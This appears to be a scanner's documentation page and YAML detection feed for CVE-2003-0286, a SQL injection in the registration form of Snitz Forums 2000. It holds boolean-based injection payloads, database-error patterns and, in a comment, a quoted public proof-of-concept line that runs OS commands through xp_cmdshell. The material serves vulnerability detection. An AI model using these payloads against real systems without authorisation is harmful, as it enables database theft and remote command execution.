Snitz Forums — 1 vulnerability check

noctis ships 1 vulnerability check for Snitz Forums, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Snitz Forums 2000 register.asp SQL Injection

CVECVE-2003-0286
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/snitz-forums/CVE-2003-0286.yaml

Snitz Forums 2000 (classic ASP forum software) before 3.4.03 copies the Name and Email fields of the registration form (register.asp?mode=DoIt) unescaped into SQL queries. An unauthenticated attacker can inject SQL, read the database and, on SQL Server back ends, run operating system commands through stored procedures such as xp_cmdshell.

This check looks for the Snitz Forums footer on register.asp under the web root and a few usual install paths. Where it is found, it posts the registration form twice with a random user name and e-mail address followed by an always-true SQL condition, then an always-false one. The vulnerability is confirmed when only the always-true request reports the user name or e-mail address as already in use: an account that does not exist can only match when the injected condition is evaluated by the database. When the forum's messages are translated, a lone quote that raises a database error while a doubled quote does not is reported instead, with a lower confidence. Each request leaves the password empty and gives an invalid home page, so the form is always rejected: no account is created and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/register.asp
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/register.asp?mode=DoIt with a crafted body
  5. HTTP(S) request POST {{dir}}/register.asp?mode=DoIt with a crafted body
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request POST {{dir}}/register.asp?mode=DoIt with a crafted body
  8. HTTP(S) request POST {{dir}}/register.asp?mode=DoIt with a crafted body
  9. Parses / computes the next value with a Rhai script
  10. Parses / computes the next value with a Rhai script
  11. Checks hit_kind for ^boolean$ → finding QoD 97: Snitz Forums 2000 register.asp SQL Injection (CVE-2003-0286)
  12. Checks hit_kind for ^error$ → finding QoD 75: Snitz Forums 2000 register.asp SQL Injection (CVE-2003-0286)

References:

Feed source — tests/vulnerabilities/snitz-forums/CVE-2003-0286.yaml
# Snitz Forums 2000 < 3.4.03 — register.asp SQL injection — CVE-2003-0286
#
# register.asp?mode=DoIt (Snitz Forums 2000 3.3.x, checked against the 3.3.03
# source, sf2k_v33_03.zip on SourceForge) builds two lookups from the raw form:
#     SELECT M_NAME  FROM FORUM_MEMBERS WHERE M_NAME  = '<Trim(Name)>'
#     SELECT M_EMAIL FROM FORUM_MEMBERS WHERE M_EMAIL = '<Trim(Email)>'   (strUniqueEmail = 1, the default)
# Both run before any input validation stops the request; a match adds
# "UserName already in Use" / "Email Address already in use" to the error list.
# 3.4.02+ pass both through chkString(…, "SQLString") (quotes doubled).
# Public PoC (EDB-22583 / EDB-30): Email=' exec master..xp_cmdshell '<cmd>' --
#
# Detection, per candidate install dir, once the Snitz footer
# (forum.snitz.com / "Snitz Forums 2000") is found on register.asp:
#   - boolean pair (QoD 97): a random Name/Email followed by ' OR 'k'='k (true)
#     must produce "already in use", the same with ' OR 'k'='j (false) must give
#     the Snitz error list without it. A random account never exists, so only
#     an evaluated SQL condition explains the difference. Works on Access, SQL
#     Server and MySQL back ends.
#   - quote parity (QoD 75, fallback for localized messages): a lone quote must
#     raise an ADO/ODBC/JET database error, the doubled quote must not.
# Every request leaves Password empty and sets an invalid Homepage (the quote
# probes also put a ';' in Name, rejected by IsValidString), so the
# error list is never empty and register.asp never reaches its INSERT: nothing
# is written, no account is created, no mail is sent.
#
# Better than the source NASL: the NASL only flags an install whose detected
# version equals 3.4.07 — a release whose register.asp escapes both fields (not
# exploitable) — and misses the really vulnerable 3.3.x releases. This feed
# proves the injection itself and does not depend on version detection.
#
# Source: OpenVAS/Greenbone NVT 2009/snitz_forums_2000_35764.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100241, GPL-2.0-only).
uid: 1ac1cfdb-17c0-4447-8c15-8c5c2eb0efd9
name: "Snitz Forums 2000 register.asp SQL Injection (CVE-2003-0286)"
description: |
  Snitz Forums 2000 (classic ASP forum software) before 3.4.03 copies the Name
  and Email fields of the registration form (register.asp?mode=DoIt) unescaped
  into SQL queries. An unauthenticated attacker can inject SQL, read the
  database and, on SQL Server back ends, run operating system commands through
  stored procedures such as xp_cmdshell.

  This check looks for the Snitz Forums footer on register.asp under the web
  root and a few usual install paths. Where it is found, it posts the
  registration form twice with a random user name and e-mail address followed
  by an always-true SQL condition, then an always-false one. The vulnerability
  is confirmed when only the always-true request reports the user name or
  e-mail address as already in use: an account that does not exist can only
  match when the injected condition is evaluated by the database. When the
  forum's messages are translated, a lone quote that raises a database error
  while a doubled quote does not is reported instead, with a lower confidence.
  Each request leaves the password empty and gives an invalid home page, so
  the form is always rejected: no account is created and nothing is written.
cves: [CVE-2003-0286]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [snitz, snitz-forums-2000, sqli, boolean-based, asp]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2003-0286"
  - "https://www.exploit-db.com/exploits/22583"
  - "https://sourceforge.net/projects/sf2k/"

steps:
  # ── Random account, condition operands and form bodies ───────────────────
  - id: gen-payloads
    action: script
    code: |
      let n = "noctis" + rand_str(8);
      let eu = rand_str(10);
      let ed = rand_str(8) + ".com";
      let em = eu + "%40" + ed;
      let k = "n" + rand_str(6);
      let j = "q" + rand_str(6);
      let t = "%27+OR+%27" + k + "%27%3D%27" + k;
      let f = "%27+OR+%27" + k + "%27%3D%27" + j;
      let tail = "&Password=&Password2=&Homepage=noctis";
      #{ name: n, email: eu + "@" + ed, k: k, j: j,
         btrue: "Name=" + n + t + "&Email=" + em + t + "&Email3=" + em + t + tail,
         bfalse: "Name=" + n + f + "&Email=" + em + f + "&Email3=" + em + f + tail,
         bquote: "Name=" + n + "%3B%27&Email=" + em + "%27&Email3=" + em + "%27" + tail,
         bdouble: "Name=" + n + "%3B%27%27&Email=" + em + "%27%27&Email3=" + em + "%27%27" + tail }
    store_as: pl

  - id: init-hit-kind
    action: set_var
    var_name: hit_kind
    var_value: ""

  - id: init-hit-dir
    action: set_var
    var_name: hit_dir
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-landing
    action: set_var
    var_name: landing
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/forum", "/forums", "/snitz", "/Forum", "/board"]

  - id: init-false
    action: set_var
    var_name: rfalse
    var_value: {status: 0, body: ""}

  - id: init-true
    action: set_var
    var_name: rtrue
    var_value: {status: 0, body: ""}

  - id: init-quote
    action: set_var
    var_name: rquote
    var_value: {status: 0, body: ""}

  - id: init-double
    action: set_var
    var_name: rdouble
    var_value: {status: 0, body: ""}

  - id: fetch-register
    action: http_request
    method: GET
    path: "{{dir}}/register.asp"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_kind == ""'
    store_as: landing

  - id: fingerprint
    action: script
    condition: 'hit_kind == ""'
    code: |
      let body = if type_of(landing.body) == "string" { landing.body } else { "" };
      egrep("(?i)(forum\\.snitz\\.com|Snitz Forums 2000)", body) != ""
    store_as: is_snitz

  # Always-false control first.
  - id: post-false
    action: http_request
    method: POST
    path: "{{dir}}/register.asp?mode=DoIt"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_kind == "" && is_snitz == true'
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{pl.bfalse}}"
    store_as: rfalse

  - id: post-true
    action: http_request
    method: POST
    path: "{{dir}}/register.asp?mode=DoIt"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_kind == "" && is_snitz == true'
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{pl.btrue}}"
    store_as: rtrue

  - id: check-boolean
    action: script
    condition: 'hit_kind == "" && is_snitz == true'
    code: |
      let bt = if type_of(rtrue.body) == "string" { rtrue.body } else { "" };
      let bf = if type_of(rfalse.body) == "string" { rfalse.body } else { "" };
      let used = "(?i)already in use";
      if egrep(used, bt) != "" && egrep(used, bf) == ""
         && egrep("(?i)There Was A Problem With Your Details", bf) != "" { "boolean" } else { "" }
    store_as: hit_kind

  - id: post-quote
    action: http_request
    method: POST
    path: "{{dir}}/register.asp?mode=DoIt"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_kind == "" && is_snitz == true'
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{pl.bquote}}"
    store_as: rquote

  - id: post-double
    action: http_request
    method: POST
    path: "{{dir}}/register.asp?mode=DoIt"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_kind == "" && is_snitz == true'
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{pl.bdouble}}"
    store_as: rdouble

  - id: check-quote
    action: script
    condition: 'hit_kind == "" && is_snitz == true'
    code: |
      let bq = if type_of(rquote.body) == "string" { rquote.body } else { "" };
      let bd = if type_of(rdouble.body) == "string" { rdouble.body } else { "" };
      let dberr = "(?i)(error '80040e[0-9a-f]{2}'|Microsoft JET Database Engine|\\[Microsoft\\]\\[ODBC|\\[MySQL\\]\\[ODBC|Unclosed quotation mark|You have an error in your SQL syntax|Syntax error[^<]{0,60}query expression)";
      if egrep(dberr, bq) != "" && egrep(dberr, bd) == "" && rdouble.status != 0 { "error" } else { "" }
    store_as: hit_kind

  - id: keep-dir
    action: script
    condition: 'hit_kind != "" && hit_dir == ""'
    code: 'if dir == "" { "/" } else { dir }'
    store_as: hit_dir

  # ── Findings ──────────────────────────────────────────────────────────────
  - id: report-boolean
    action: match
    source: hit_kind
    pattern: "^boolean$"
    on_match:
      finding:
        title: "Snitz Forums 2000 register.asp SQL Injection (CVE-2003-0286)"
        description: "register.asp evaluated SQL injected into the registration form: a random user name and e-mail address followed by an always-true condition were reported as already in use, while the same values with an always-false condition were not. An unauthenticated attacker can read the forum database and, on SQL Server back ends, run commands through stored procedures."
        remediation: "Upgrade Snitz Forums 2000 to 3.4.03 or later (3.4.07 is the last release), which escapes the Name and Email fields of register.asp."
        confidence_delta: 0.65
        qod: 97
        evidence: "install dir {{hit_dir}}: POST register.asp?mode=DoIt with Name/Email {{pl.name}} / {{pl.email}} + ' OR '{{pl.k}}'='{{pl.k}} reported them as already in use; the same with ' OR '{{pl.k}}'='{{pl.j}} did not"
      stop: true

  - id: report-error
    action: match
    source: hit_kind
    pattern: "^error$"
    on_match:
      finding:
        title: "Snitz Forums 2000 register.asp SQL Injection (CVE-2003-0286)"
        description: "register.asp passed a quote from the registration form unescaped to the database: a lone quote in the user name and e-mail address raised a database syntax error, while a doubled quote did not. An unauthenticated attacker can inject SQL into the registration queries."
        remediation: "Upgrade Snitz Forums 2000 to 3.4.03 or later (3.4.07 is the last release), which escapes the Name and Email fields of register.asp."
        confidence_delta: 0.50
        qod: 75
        evidence: "install dir {{hit_dir}}: POST register.asp?mode=DoIt with Name/Email {{pl.name}};' / {{pl.email}}' returned a database syntax error; the doubled quote did not"
      stop: true

View these feeds on GitHub